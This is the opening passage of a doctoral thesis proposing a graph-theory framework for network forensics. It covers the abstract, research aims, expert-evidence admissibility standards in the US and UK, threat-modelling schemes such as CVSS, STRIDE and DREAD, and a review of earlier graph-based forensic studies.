
1 

 

A Systematic Framework  for Network Forensics 

Based on Graph Theory. 

 

Chuck Easttom 

 

 

This thesis is submitted in partial fulfilment of the requirements for 

the award of the degree of Doctor of Philosophy in Computer Science from the University of 

Portsmouth 

 

 

School of Computing 

University of Portsmouth 

Lion Terrace, Portsmouth, Hampshire 

PO1 3HE, United Kingdom 

 

 

 

 

 

 

 



2 

 

 

 

©Copyright 2021 

Chuck Easttom 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



3 

 

Abstract 

Network forensics is a field that is growing. As new technologies for communication are 

introduced, there are new challenges for forensic investigators. There is a large body of 

research concerning how to use various tools for packet capture and analysis. There is also a 

substantial amount of research in new network technologies such as Internet of Things (IoT) 

and virtual networks.  

What is missing from the field network forensics is a mathematical framework for network 

forensics. The current thesis addresses this issue. The current research will bring a 

mathematical framework providing a level of scientific rigor not previously present in the field 

of network forensics. This will provide a solid framework that can be implemented by forensic 

analyst.   

There have been a few nascent attempts to utilize graph theory in network forensics. However, 

those previous studies only used a very small subset of graph theory and only applied them in a 

very specific and limited manner. Most previous studies in this area have merely used graph 

theory to describe networks and network incidents. However, graph theory has a rich set of 

mathematical tools that can be used for network forensics. These tools facilitate a robust 

analysis and attack attribution. The current research applies a broad range of graph theory 

techniques to the issues of network forensics.  

The current research creates an entire framework for applying graph theory to network 

forensics. Various elements of graph theory are applied to experimental network forensics 

scenarios to validate their efficacy. Additionally, a complete process for applying graph theory 

to any network forensics examination is delineated. This research provides a framework that is 

validated and can be applied by forensics practitioners. In addition to the novel application of 

existing graph theory to network forensics, a new element is introduced in graph theory. A 

formula for calculating partial isomorphisms was created as part of the current research. Thus 
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the current study brings the full power of graph theory to the process of network forensics and 

expands graph theory into partial isomorphisms. Prior to this current resedarch there has not 

been a mathematically rigorous framework for network forensics. The creation and validation 

of such a framework represents a substantial contribution to the field of network forensics.  

 

Keywords: Graph theory, Spectral Graph Theory, Network Forensics, Network Intrusion, 

Algebraic Graph Theory 
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Abbreviations and Terms 

This current research utilizes a number of abbreviations and terms that will be defined as 

introduced but are also defined here. Also, particularly important theorems are briefly 

described here. 

Digraph: Graph with direction (i.e., arcs rather than edges) 

DREAD: Damage Potential, Reproducibility, Exploitability, Affected Users, Discoverability  

Egamorphism: Weak homomorphism 

Eulerian trail: A trail that contains every edge of the graph. 

Frucht’s theorem: All groups can be represented as an automorphism of a connected graph. 

GED: Graph Edit Distance. 

Homomorphism: A structure preserving mapping between two graphs. 

IoT: Internet of Things. 

Isomorphism: Two graphs have the same number of vertices, the same number of edges, and 

identical degree matrices and there exist a structure-preserving vertex bijection f: Va -> Vb. 

MCS: Maximum Common Subgraph 

Path: A path is a trail with no repeated vertices 

Perron–Frobenius theorem: This theorem asserts that real square matrices  have a unique 

largest real eigenvalue and that the corresponding eigen vector can be chosen to have strictly 

positive values. 

STRIDE: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, 

Elevation of Privilege. 
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Chapter 1: Introduction 

 

1.1 Background 

 Network forensics is a multifaceted field (Datt, 2016). There are numerous challenges to 

the network forensic practitioner. Categorizing attacks and integrating the profile of an attack 

into defense technologies is one aspect of network forensics that can be challenging. Another 

facet of network forensics that can be difficult is attack attribution (Pitropakis, et al., 2018). 

Attribution is particularly important in law enforcement and national defense applications.  

     Attack attribution is only one reason for modeling an attack. The ability to accurately detail 

the entirety of an attack is crucial for integrating the knowledge of the attack into defense 

modalities. Such details must include attack vector, threat actor, targeted systems, and the 

damage realized  (Alsmadi, Easttom, &Tawalbeh, 2020). These details provide enough 

information for cybersecurity professionals to plan and implement an appropriate defense. A 

detailed analysis is also critical for understanding the incident in question, thus forming a 

complete forensic analysis. 

      The field of network forensics itself is expanding. While network forensics is primarily 

focused on analyzing network traffic (Joshi & Pilli, 2016), the nature of that traffic has 

changed. There are new devices such as Internet of Things (IoT) devices that are part of 

networks. There are new protocols such as ANT+, Zigbee, and others (Shrivastava, Kumar, 

Gupta, Bala, & De, 2018). This diversified landscape only exacerbates the problems 

confronting network forensics. 

 In law enforcement and defense applications, the ability to accurately attribute attacks to 

specific threat actors is of vital importance (Saalbach, 2020). This is also true for intelligence 

agencies that are attempting to identify nation state threat actors (Tehrani, 2019). Either in 

criminal investigations or national defense applications, attribution is a critical step in network 
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forensics(Skopik & Pahi, 2020). It is not adequate to simply identify what the attack was, or 

even what damage was caused. It is important to determine who was responsible. While there 

are existing methods for describing vulnerabilities and communication information about 

threats, the existing methods fall short of providing a rigorous and broadly applicable method 

for modeling network and supporting attack attribution. 

 One such current methodology is the CVE system. The Mitre group created the CVE, 

Common Vulnerabilities and Exposures, which provides a numeric identifier and description 

for any system vulnerability that is discovered (Blinowsky & Piatkowski, 2020). This system, 

however, simply documents vulnerabilities. It is not useful for detailing the attack, or attack 

attribution. While the CVE can be useful in scanning systems for known, documented 

vulnerabilities, that is the limit of its use. 

 The purpose of this research is to address existing gaps in network forensics through the 

utilization of graph theory. Unlike previous studies, this research will employ a wide range of 

graph theoretic tools and techniques. This approach also provides a framework for more 

detailed network forensic analysis. 

1.2 Statement of the Problem 

 There is a need for a mathematically rigorous framework for analyzing network forensics. 

Such a method must provide a complete model of the attack that facilitates both understanding 

the attack and comparing it to other attacks for attack fingerprinting. This will facilitate attack 

attribution and improve analysis of network-based attacks. 

1.3 Objectives, Methodology, and Thesis Organization 

1.3.1 Objectives 

The objectives of this thesis are to: 

• Integrate graph theory into modeling cyber-attacks for network forensic analysis. 

This will include utilizing  graph homomorphisms, spectral graph theory, and 
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related aspects of graph theory. These methods will be applied to specific network 

forensic scenarios and experimentally tested. 

• Expand algebraic graph theory to include partial isomorphisms for attack 

attributions. This will facilitate a more detailed and rigorous mathematical modeling 

of attacks and allow for attack fingerprinting. In addition to existing graph theory, 

this research will present a methodology for calculating partial isomorphisms of a 

graph or subgraph. This is a new addition to graph theory itself. 

• Create a comprehensive methodology that can be used for network forensics 

investigations. 

• Test these methodologies in simulated attack environments. Each graph theoretic 

method described will be applied to a test incident. The test incidents include 

computer viruses and Denial of Service attacks, conducted on a laboratory virtual 

environment. 

1.3.2 Research Questions 

     The current research identifies the following research questions to be answered: 

• Can graph theory methods effectively identify specific devices for more detailed 

forensic analysis? 

• Can spectral graph theory help to understand the nature of an attack and to guide 

forensic analysis? 

• Can graph similarity metrics be effectively utilized to fingerprint network attacks? 

     Each of these three questions support the objectives described in section 1.3.1. Furthermore, 

these three research questions will be subjected to rigorous experimental analysis. That 

experimental process should be able to answer these research questions, either in the 

affirmative or the negative.  

1.3.3 Methodology 
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 The methodology presented in this thesis is rather straight forward, even though some of 

the mathematics can be complex. The specific graph theoretic techniques will first be fully 

described. Then a multi phased process for applying these techniques to network forensics will 

be delineated. This process will be organized as a comprehensive framework for network 

forensics. That framework will be based on graph theory, and thus mathematically rigorous. 

The models developed based on the mathematics of graph theory will then be applied in an 

experimental fashion to validate the proposed methodology.  

     When using an experimental methodology, it is necessary to be cognizant of threats to the 

validity of the study. Flannelly, Flannelly, and Jankowsky (2018) describe seven principal 

threats to the internal validity of experiments. The threats enumerated are history, maturation, 

testing, instrument decay, statistical regression, selection, and mortality. Some of these threats 

are only pertinent to human experiments. This includes issues such as history, bias, selection, 

and mortality. Those issues are not relevant to the current research because this research does 

not utilize human subjects. 

     One central objective of experimental design is to minimize both external and internal 

threats validity (Adams & Lawrence, 2018). According to Baldwin (2018), threats to external 

validity are described as interaction effects. Any experimental study must have control 

measures in place to mitigate threats to validity. 

      The current research first controls threats to validity by utilizing well-established 

mathematics. Graph theory was first proposed by Leonard Euler in 1736 (Deo, 2017). There 

has been a rich and expanding body of research in this field since that time (Gera, Hedetniemi, 

& Larson, 2016; Satyanarayana & Prasad; 2013; Trinajstic, 2018). Another control against 

threats to validity is that a portion of the work presented in this thesis has already been 

subjected to peer review and publication (Easttom, 2018a; Easttom, 2018b; Easttom, 2020a; 

Easttom & Adda, 2020a; Easttom & Adda, 2020b; Easttom & Adda 2021). 
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       The third control against threats to validity is the use of multiple experiments. Any single 

experiment could have a flaw in design, measurement, or results (Ruxton & Colegrave, 2017). 

Thus, one of the most fundamental tenants of science is to repeat the experiment (Black, 2018). 

The current research utilizes multiple experimental scenarios in order to validate the 

methodology. By using multiple experiments any flaws in a single experimental approach 

would be exposed by the additional experiments (Berger, Maurer, & Celli, 2018).  

1.3.5 Research Contribution 

     The current research will contribute to the body of network knowledge by providing  a 

comprehensive framework for network forensics. This framework includes multiple techniques 

that can be implemented by forensic examiners. The methodology is comprehensive, but 

individual components can be used by themselves. This current research will also provide a 

mathematically sound method for network attack fingerprinting, thus facilitating attack 

attribution. Furthermore, the current research will provide a practical and effective mechanism 

for the forensic analyst to identify those network devices that should be considered for forensic 

imaging and deeper analysis. 

1.3.6 Thesis Organization 

 Chapter 2 provides a literature review that focuses on network forensics. The relatively 

few nascent applications of graph theory to network forensics are addressed and gaps 

enumerated. This chapter is key to understanding the current gaps in network forensics that are 

addressed in this current thesis study.  

     Chapter 3 provides an overview of the mathematics of graph theory. The chapter begins 

with a review of basic graph theory. From that foundation, specific techniques are addressed 

including algebraic and spectral graph theory. The various matrices associated with a graph are 

expounded upon. Measures of central tendency such as centers, diameter, radius, and the local 

clustering coefficient are explained. More advanced elements of graph theory such as the 



17 

 

Cheeger constant are delineated. Measures of similarity such as graph homomorphisms, 

isomorphisms, and partial isomorphisms are defined. 

     Essential information theory is also explained in chapter 3. This is due to the use of 

information theory in the weighting of edges in graphs. Information theory metrics are also 

used to explain incidence functions in graphs. The information theory is secondary to the graph 

theory, and only used to support a more vigorous application of graph theory. 

     In chapter 4 the actual approach being proposed in this thesis will be fully explained. The 

methodology will be presented in a multi-phase modality. This allows the network forensic 

analyst using this methodology to utilize either all of the phases, or just those that are pertinent 

to his or her current investigation. The methodology will describe how to apply the graph 

theoretical techniques of chapter three to specific network forensics challenges. 

     Chapter 5 will describe the experiments conducted to validate the methodology of chapter 4. 

There are multiple experiments employing the graph theory methodology to analyze multiple 

divergent network forensics scenarios. The use of actual experiments not only serves to 

validate the proposed methodology, but also provides a map for the practicing network forensic 

examiner to use the methodology. Finally, chapter 6 concludes the current research. 

Conclusions will also be accompanied with suggestions for further study.  

1.3.7 Research publications 

The following is a list of publications from this project. 

• Easttom, C. (2020a). On the Application of Algebraic Graph Theory to Modeling 

Network Intrusions. IEEE 10th Annual Computing and Communication Conference. 

pp. 0424-0430. 

• Easttom, C. (2020b). Mathematically modeling cyber-attacks utilizing engineering  

techniques 15th International Conference on Cyber Warfare and Security ICCWS 

• Easttom, C., Adda, M. (2020a). An Enhanced View of Incidence Functions for Applying  
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  Graph Theory to Modeling Network Intrusions. WSEAS Transactions on Information 

Science And Applications. pp. 102-109. DOI: 10.37394/23209.2020.17.12 

• Easttom, C., Adda, M. (2020b) The Creation of Network Intrusion Fingerprints by 

Graph Homomorphism. WSEAS Transactions on Information Science and 

Applications. 17(2020). DOI: 10.37394/23209.2020.17.15 

• Easttom, C., Adda, M. (2021). Application of the Spectra of Graphs in Network Forensics. 

IEEE 11th Annual Computing and Communication Conference. 
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Chapter 2:  Literature Review 

 Chapter two will review relevant literature. This includes existing methodologies utilized 

to analyze network intrusions. Such methodologies will be described and the gaps in said 

methodologies will be explored. There have been some previous applications of graph theory 

to network forensics. These will also be explored, and their gaps described. This review of 

literature will both create a foundation for the current approach and will illustrate specific gaps 

in the current literature that the current approach will fill. 

2.1 Defining Network Forensics 

     In order to posit improved techniques for network forensics, it is first important to define 

network forensics. Afifi-Sabet (2021) uses the following definition “Network forensics, 

unsurprisingly, refers to the investigation and analysis of all traffic going across a network 

suspected of use in cybercrime, say the spread of data-stealing malware or the analysis of 

cyber-attacks.” Guan (2014) provides a similar definition “Network forensics is the study of 

data in motion, with special focus on gathering evidence via a process that will support 

admission into court.”. The wording of these two definitions is different, but the general 

concept is the same. Network forensics is concerned with investigating network traffic in a 

manner that is able to provide evidence in court proceedings. 

     Network forensics generally involves techniques for analyzing network traffic in relation to 

some negative event such as a network breach (Joshi & Pilli, 2016). Network packet capture 

and analysis is a common network forensics process (Sikos, 2020). Log analysis is also a 

typical technique utilized in network forensics (Choi, et al., 2016; Mualfah & Riadi, 2017). 

      The study by Khan, et al., (2016) focus on defining network forensics by examining the 

methodologies used. Their study emphasized the importance of network forensics in a wide 

range of scenarios. Those scenarios include criminal investigations, civil investigations, and 

incident response investigations. In each case emphasis was given to detailing the network 
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traffic involved. That detail included the source and destination addresses, protocol, content, 

and other metadata regarding the incident in question. 

      Joshi and Pilli (2016) begin by focusing on forensics processes and frameworks.  This is an 

important part of network forensics. Network forensics cannot be effectively conducted as 

simply a series of unrelated and random techniques. There needs to be a framework for 

conducting an investigation. There also needs to be a formal process. The authors only delve 

into specific techniques after devoting several chapters to the frameworks and processes. 

2.2 Admissibility in Court 

    As was introduced in section 2.1, the goal of network forensics is not simply to gather and 

analyze data. The goal is to use that data to provide evidence in court proceedings. Whether 

those are criminal or civil proceedings, the goal is the same. Different jurisdictions have 

divergent rules concerning what is admissible. The issue of forensics tools and techniques is 

also one that is related to evidence admissibility (Granja & Rafael, 2017). When using a well-

established tool or technique, the issue is minimal. However, using a methodology or tool that 

is relatively new, can present challenges for admissibility. 

     When a technique or tool is developed, it is not immediately clear if that technique or tool 

will be admissible in court (Bharadwaj & Singh, 2019; Morrison & Thompson, 2016). This 

issue exists in all jurisdictions. The issue is an important factor in courts in India 

(Subramaniam, 2020), Canada (Cunliffe, 2018), and even throughout the Middle East (Kallil & 

Yaacob, 2019). The focus of this current research is on admissibility in the United States and 

England. 

     Different jurisdictions will have variations in the procedure for admitting testimony and 

evidence. In the United States, federal courts apply the Daubert Standard to determining what 

expert testimony and evidence is allowed in court (Capra, 2018; Easttom, 2018c; Easttom 

2021b; Rogers, 2020). This standard stems from a court case Daubert v Merrill Dow Chemical 
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Inc. Prior to the Daubert case, the Frye v. United States case from 1923 defined the rules 

regarding admission of scientific evidence and testimony. The issue was that parties in the 

Daubert case argued that the earlier Frye standard did not take into account Rule 702 of the 

Federal Rules of Evidence, which states: 

A witness who is qualified as an expert by knowledge, skill, experience, training, or 

education may testify in the form of an opinion or otherwise if: 

(a) the expert’s scientific, technical, or other specialized knowledge will help the trier of 

fact to understand the evidence or to determine a fact in issue; 

(b) the testimony is based on sufficient facts or data; 

(c) the testimony is the product of reliable principles and methods; and 

(d) the expert has reliably applied the principles and methods to the facts of the case 

      The goals of the earlier Fry standard, Federal Rule 702, and the Daubert standard are all 

similar. Scientific testimony in court should be based on well-founded scientific principles, and 

the expert testifying must have properly applied those standards. The Daubert case simply 

refined the details of how scientific testimony is evaluated. The Daubert standard is described 

as follows (Adams, 2013; Easttom, 2021b; Moulin, et al., 2018): 

Standard used by a trial judge to make a preliminary assessment of whether an expert’s 

scientific testimony is based on reasoning or methodology that is scientifically valid and 

can properly be applied to the facts at issue. Under this standard, the factors that may be 

considered in determining whether the methodology is valid are: (1) whether the theory or 

technique in question can be and has been tested; (2) whether it has been subjected to peer 

review and publication; (3) its known or potential error rate; (4) the existence and 

maintenance of standards controlling its operation; and (5) whether it has attracted 

widespread acceptance within a relevant scientific community. 
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     The practical result of the Daubert standard is that any network forensics technique must 

have been subjected to testing or peer reviewed publication before it can be admissible in a 

court. The reason for these standards is that a judge may not have the requisite knowledge to 

distinguish between reliable scientific methods and junk science. Therefore, the onus is upon 

the relevant scientific community to validate techniques.  

      The issue of admissibility of scientific evidence is by no means limited to the United States. 

All court jurisdictions have to address the problem of how to determine if scientific evidence is 

valid. And all courts face the same problem that the judge is unlikely to have relevant expertise 

to make that determination. The United Kingdom has a slightly different standard from 

Daubert (Crown Prosecution Service, 2019): 

There should be a sufficiently reliable scientific basis for the expert evidence, or it must be 

part of a body of knowledge or experience which is sufficiently organized or recognized to 

be accepted as a reliable body of knowledge or experience. 

The reliability of the opinion evidence will also take into account the methods used in 

reaching that opinion, such as validated laboratory techniques and technologies, and 

whether those processes are recognized as providing a sufficient scientific basis upon 

which the expert's conclusions can be reached. The expert must provide the court with the 

necessary scientific criteria against which to judge their conclusions. 

     While the wording is different from the United States Daubert standard, the general result is 

the same. Even if an expert is qualified by education and experience, the techniques that he or 

she applies must have had some validation in the relevant scientific community. The goal of 

both the United Kingdom standard and the United States standard is to ensure the expert 

testimony is based on sound scientific evidence. 

      Whether one is considering the United States standards or the United Kingdom standards, 

the ramifications are substantially similar. And these issues are directly relevant to this current 
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research. When any new tool, technique, or method is proposed, the admissibility of that tool 

or procedure must be addressed. The forensic examiner cannot simply implement a new 

method without knowing if the evidence produced will be admissible in court. 

      The current methodology described in this thesis is the culmination of a body of research. 

Portions of that research have been published in numerous scientific proceedings (Easttom, 

2018a; Easttom 2018b; Easttom, 2020a; Easttom & Adda, 2020a; Easttom & Adda, 2020b; 

Easttom & Adda 2021a). Furthermore, the methodology is based on graph theory which is well 

established in mathematics (Godsil & Royle, 2013; Knauer & Knauer, 2019; Rangaswamy & 

Gurusamy, 2018; Sporns, 2018; Trinajstic, 2018) as well as scientific applications (Deo, 2017; 

Kulkarni, 2017) and has been in use for approximately 300 years.  

     Thus, the current methodology has been the subject of peer reviewed publications, apart 

from this current thesis. The current procedure has also been tested in multiple separate studies 

and is again subjected to multiple tests in this current research. This establishes that the current 

methodology has a sound scientific basis. The expiriments conducted as part of the current 

research provide further scientific support for the current methodology. 

     There have also been limited previous attempts to apply graph theory to network forensics 

(Wang, 2010), however the current method substantially expands beyond those methods. This 

makes the current method well established scientifically and suitable for use in courts. This 

thesis will expand upon the previous work and include multiple experiments to further 

establish the application of graph theory to network forensics. This satisfies both Daubert 

requirements and the United Kingdom requirement that a technique “must be part of a body of 

knowledge or experience which is sufficiently organized or recognized to be accepted as a 

reliable body of knowledge or experience.” 

2.3 Current gaps in network forensics 



24 

 

     In addition to courtroom admissibility there must be a rationale for any new technique or 

tool. There needs to be a reason for using this technique rather than existing methods. Hence, it 

is critical to identify what gaps exist in the current literature. It is furthermore necessary to 

describe how the proposed methodology addresses those gaps. 

     Much of network forensics literature is focused on network packet capture, log analysis, and 

similar processes. Network packet capture or log analysis are both valid methods to obtain data 

for network forensics (Joshi & Pilli, 2016). However, simply capturing the information is only 

the first step in network forensics. The packet information and log data are important artifacts 

(Beverly, Garfinkel, & Cardwell , 2011; Skopik & Pahi, 2020). However, this information does 

not constitute an understanding of the incident being investigated. There must be an analysis of 

the data in order to determine what the evidence is demonstrating.  

     There is considerable literature describing how to capture packets, and how to analyze an 

individual packet (Sikos, 2020). There are existing studies regarding how to capture network 

packets in high-capacity networks (Emmerich, P., Pudelko, Gallenmüller, & Carle, 2017). The 

process of capturing network packets is already well documented in the literature. 

    The literature is also replete with specific techniques for using particular packet capture 

tools. Wireshark is a widely utilized tool for packet capture (Musa, 2020; Ndatinya, et al., 

2015). Packet capturing tools and techniques are also well documented in the literature for 

voice over IP (VoIP) (Sha, Manesh, & El-atty, 2016) as well as SCADA (Supervisory Control 

and Data Acquisition) networks (Senthivel, Ahmed, & Roussev, 2017).  

     All of the aforementioned tools and techniques share a commonality. That common factor is 

that the analysis of the network traffic is a manual effort of the forensic examiner. The tools 

and techniques are essential in capturing the traffic. Software such as Wireshark also provide a 

wide range of tools for filtering, sorting, and searching the packet data (Das & Tuna, 2017; 
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Musa, 2020). But these tools and techniques cannot extract meaning from the packet or log 

data. 

     There has been some limited work in visualizing the traffic for analysis. Clark and Turnbull 

(2020) describe a methodology for 3D visualization of network traffic. Their approach involves 

representing different protocols as different shapes, then plotting the network traffic in 3 

dimensions. This approach can aid the forensic analyst in examining packets. However, it still 

leaves the actual analysis as a manual activity for the forensic examiner. 

     A study in 2020 (Kaneko, Tsutsumi, Sharma, & Okada, 2020) described a technique to 

detect distributed denial of service (DDoS) attacks on IoT devices. The technique utilized 

mixed reality to visualize network packet traffic. Mixed reality provides a hybrid view 

combining virtual reality components with real-world field of vision. The method described in 

this study is innovative and useful. However, it is still only providing a technique for 

visualization. The forensic examiner must still manually analyze the actual network traffic. 

 For many years forensic examiners have recognized the problem of having too many 

machines to investigate in a typical incident. Pogue (2009) discussed the problem of having too 

many computers to image in a network forensic incident. The author of that study advocated a 

method he called sniper forensics. That process advocates homing in on specific machines and 

specific artifacts on those machines that are likely to yield evidence relevant to the incident 

being investigated. However, the methodology presented provides no objective means of 

accomplishing its goal. The sniper forensics methodology depends entirely upon the 

investigator making a subjective determination of what should be imaged and analyzed. The 

method proposed in this thesis provides a mathematically sound methodology for determining 

which machines to image. Thus, as part of the current research, this specific gap in network 

forensics is addressed. 
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     Several studies have discussed the challenges that IoT presents to network forensics 

(Alabdulsalam, et al., 2018; Rizal, Riadi, & Prayud ; Shrivastava, et al., 2018). These studies 

focus on the new network protocols such as Zigbee and ANT+, as well as the divergent device 

operating systems, and the challenges these new technologies pose. These are legitimate 

questions; however, the referenced studies do not posit a methodology for addressing them.  

      Spiekermann and Eggendorfer (2016) discussed the issues associated with virtual networks. 

The authors of that study described the difficulties with identifying network devices and 

computers in a completely virtualized environment. The methodology presented in this thesis is 

independent of the specific technologies utilized in a given network. 

 Buric & Delija (2015) published a study discussing the difficulties in dealing with volatile 

data. By definition, network forensics involves network traffic which is inherently volatile. If 

the data is not captured as the incident occurs, then it may be quite difficult to conduct a 

meaningful forensic examination. The method presented in this thesis works well with log data. 

Thus, it addresses the concern of not having access to live network traffic. 

      Several studies have focused on network forensics tools (Shrivastava, et al., 2018; Sikos, 

2020). There are issues with developing and testing forensics tools. There is also a constant 

demand from practitioners seeking additional features in tools. That is why many tools, such as 

Wireshark are frequently being updated (Das & Tuna, 2017). This focus on forensics tools is 

certainly an important aspect of network forensics. However, it does not address the issues that 

are addressed in this thesis. 

      There are clearly gaps in network forensics. And addressing new technologies is certainly a 

valid research interest. However, one area that is not being adequately addressed in current 

network forensics is the application of mathematical modeling. A sound mathematical 

framework for network forensics is needed. The current research addresses this gap. 

2.4 Existing Threat Analysis Techniques and their Gaps 
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 There are techniques that while not strictly forensic, can be useful at least in an ancillary 

manner to a network forensic investigation. Any technique that can provide information on a 

network intrusion is potentially useful in network forensics. The most widely used 

methodology for evaluating network vulnerabilities is the common vulnerability scoring 

system (CVSS). CVSS is commonly applied to classify vulnerabilities. CVSS is an open 

industry standard that facilitates the scoring of vulnerabilities based on severity (Allodi & 

Massacci, 2014). When employing CVSS, there are three classes of metrics: base, temporal, 

and environmental. The base group defines the basic characteristics of the vulnerability that are 

not determined by time (temporal) or environment. The metrics used in this this group are 

Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, 

Confidentiality Impact, Integrity Impact, and Availability Impact (Feutrill, Ranathunga, 

Yarom, & Roughan, 2018). 

 The Attack Vector Metric can be scored according to the level of access the attacker needs 

for the target: Network (N), Adjacent (A), Local (L), Physical (P). Attack Complexity can be: 

None (N), Low (L), and High (H). User Interaction is a binary value: None (N) or Required 

(R). The Scope metric describes whether a vulnerability in one vulnerable component impacts 

resources in components outside the original components scope (Aksu, et al., 2017). The value 

for this metric is also binary: Unchanged (U) or Changed (C). The Impact Metrics 

(Confidentiality, Availability, or Integrity) determine the impact the vulnerability has on each 

element of the CIA triad. These three metrics are each rated: High (H), Low (L), or None (N) 

(Holm & Afridi, 2015). This method is effective, but it is incomplete.  

 The CVSS process produces a cumulative  score for the vulnerability (Younis & Malaiya, 

2015). This can be useful to understanding vulnerabilities in networks. Those vulnerabilities 

are often the attack vector for a network intrusion, and thus relevant to network forensics. 
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However, that is the limit of the usefulness of CVSS in network forensics. It does not facilitate 

forensic analysis of the incident beyond describing one or more vulnerabilities. 

      The literature includes published efforts to modify and improve CVSS (Singh & Joshi, 

2016). These methods include integrating Bayesian statistics with CVSS (Frigault, et al., 

2017). This does present an improvement on CVSS, but still only provides a narrowly focused 

application to network forensics. CVSS, even when modified, does not provide a network 

forensic analysis methodology.  

 Another approach to modeling network attacks is STRIDE: Spoofing, Tampering, 

Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege (Khan, et 

al., 2017). STRIDE was developed by Microsoft for describing security threats in six separate 

categories. The threats are the letters in the acronym. The concept in using this tool is to ensure 

that you are modeling all of the enumerated threats. 

     STRIDE was designed as a means of analyzing potential threats to the network. However, it 

can be used to categorize a network incident (Sanfilippo, et al., 2018). Much like CVSS, 

STRIDE provides ancillary benefit to network forensics. It can be used to aid in describing the 

initial breach, but that is the limit of STRIDE’s efficacy in facilitating network forensic 

analysis. 

 A model used to describe the impact of threats is the DREAD (Damage Potential, 

Reproducibility, Exploitability, Affected Users, Discoverability) model. DREAD is a 

mnemonic for risk rating using five categories (Naagas & Palaoag, 2018). This modeling 

technique assesses the likelihood of an attack is and the damage it would cause. DREAD is an 

effective model for considering where to allocate resources for network defense. DREAD can 

be applicable to a network forensics investigation to aid in evaluating the damage of a given 

incident (Yaqoob, et al., 2019). Much like STRIDE and CVSS, DREAD provides a narrowly 

focused ancillary tool for network forensics. 
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     While each of the threat analysis techniques examined in this section do provide useful tools 

for network forensics, they all have a substantial gap. None of them alone nor in combination, 

provide a methodology to completely model a given network incident. These methods only 

provide insight into a specific aspect of the network incident. As such they are useful to a 

network forensic investigator, but also illustrate the need for a more generally applicable 

methodology. 

2.5 Existing Applications of Graph Theory to Network Forensics 

 The methodology proposed in this research is to apply graph theory to network forensics. 

It must be acknowledged that there have been previous applications of graph theory to network 

forensics. However, the previous methodologies all have substantial gaps that are addressed by 

the proposed methodology. 

 In a study by Barrère, et al. (2017) the authors employed graph theory to the process of 

pictorially modeling a network attack. Their study did not incorporate any aspects of algebraic 

or spectral graph theory. The authors simply visually depicted the attack using a graph, without 

utilizing the many analytical tools found in graph theory. The limited use of graph theory in the 

Barrère, Steiner,  Mohsen, and Lupu (2017) study illustrates both the need for graph theory to 

be utilized in network forensics, as well as the considerable gap in said application. 

 Palmer, Gelfand, and Campbell (2017) published a study promoting the utilization of 

graph theory for network forensics. Their study only utilized the most basic elements of graph 

theory to pictorially represent an incident. Much like the Barrère, Steiner, Mohsen, and Lupu 

(2017) study, Palmer, Gelfand, and Campbell did not explore any of the many analytical tools 

found in graph theory. Such tools include spectral graph theory, chromatic graph theory, or in 

fact any aspect of algebraic graph theory. The Palmer, Gelfand, and Campbell study does 

illustrate the possibilities of integrating graph theory into network forensics. Furthermore, their 

study also demonstrated a general awareness of graph theory in the network forensics 
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community. However, the Palmer, Gelfand, and Campbell study also demonstrates the 

substantial gaps in applying graph theory to network forensics. Those gaps are addressed by 

the current research. 

       Takahashi, Xiao, and Meng (2010) published a study that utilized graph theory to analyze 

data from network and server logs. In that study the authors utilized graphs to describe the flow 

of data, labeling their method “virtual flow-net”. This study does provide some benefit to the 

network forensic examiner however, the study did not utilize any aspects of algebraic graph 

theory. As will be shown in this thesis, algebraic graph theory provides a rich set of 

mathematical tools for analyzing network intrusions and incidents. 

 The studies by Palmer, Gelfand, and Campbell (2017), Takahashi, Xiao, and Meng (2010), 

and Barrère, et al., (2017), are emblematic of the manner in which graph theory has previously 

been applied to network forensics. A number of studies have been published employing graph 

theory for digital or network forensics. However, all these studies have a common theme of 

only applying a very limited aspect of graph theory (Irons & Lallie, 2014; Poisel & Tjoa, 2011;  

Schelkoph, Peterson, & Okolica, 2018). These studies clearly illustrate the need for a more 

expansive methodology for applying graph theory to network forensics.  

      Milling, Caramanis, Mannor, & Shakkottai (2012) applied some of the mathematical tools 

of graph theory to analyzing computer virus spread through a network. The authors employed 

Erdős–Rényi graphs to analyze the computer virus propagation. This approach focuses on all 

graphs with a fixed vertex set and a fixed number of edges (Deo, 2017). This methodology 

does apply algebraic graph theory, notably the use of  Erdős–Rényi graphs. However, it is a 

limited application of algebraic graph theory. This study illustrates the possibilities of applying 

graph theory to network forensics. However, it also demonstrates the substantial gaps in the 

current literature. 
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 Wei Wang’s 2010 Ph.D. thesis was the most robust application of graph theory to network 

forensics, prior to the current approach. Wang used graph theory to categorize and aggregate 

network evidence in order to present a cohesive and comprehensible map of the network 

traffic. This was a natural expansion of existing methods to apply graph theory to studying 

network traffic (Deo, 2017; Huang, et al., 2015; Jovanović, & Zakić, 2018). 

 There were innovative aspects to the Wang (2010) study that go well beyond other studies 

in the literature. Wang utilized more of graph theory than preceding studies had, and even more 

than some subsequent studies did. Wang utilized eigenvector centrality metrics to evaluate 

importance of nodes in the evidence graph and made limited use of the Laplacian spectrum. 

However, Wang never even mentioned the Lovász number, the Cheeger constant, or 

homomorphisms. Wang also never explored network fingerprinting or examining the change in 

the graph spectrum over the span of a given network incident.  Furthermore, Wang’s work did 

not provide a framework for network forensics. The Wang study illustrates the substantial gap 

on applying graph theory to network forensics, and the need for a robust methodology for fully 

utilizing graph theory in network forensics. 

     The Wang (Wang, 2010) study was a Ph.D. dissertation in computer science at Iowa State 

University, in the United States. The current study goes well beyond the Wang study, and 

furthermore provides network forensics analysist with a functioning framework for network 

forensics. The current study also uses a broader range of expiriments than the Wang study. 

These facts illustrate that the current study provides a substantial contribution to the field of 

network forensics. 

2.6 Summary 

     In this chapter existing network forensics was defined and techniques for evaluating  

network attacks were explored. The strengths and limitations of these approaches were 

examined. Furthermore, chapter 2 has analyzed previous attempts to apply graph theory to 
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network forensics. It illustrates the need for the current research. The current research 

addresses the gaps that have been identified in chapter 2. In the current research, a wide range 

of graph theoretic tools are employed in network forensic analysis. The full scope of these 

techniques has not been previously applied to network forensics. By employing a broad range 

of graph theoretic tools, network forensics is improved via a rigorous mathematical framework. 

That comprehensive framework will provide forensic analysts a clear methodology for network 

forensics. The experimental portion of the current research demonstrates the efficacy of the 

graph theoretic techniques described in this thesis. 
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Chapter 3: Graph Theory Overview 

     This chapter provides an overview of the graph theoretical techniques that will be 

implemented in this current research. The foundational elements of graph theory are described 

first. Then specific, more advanced elements of graph theory are delineated. The mathematics 

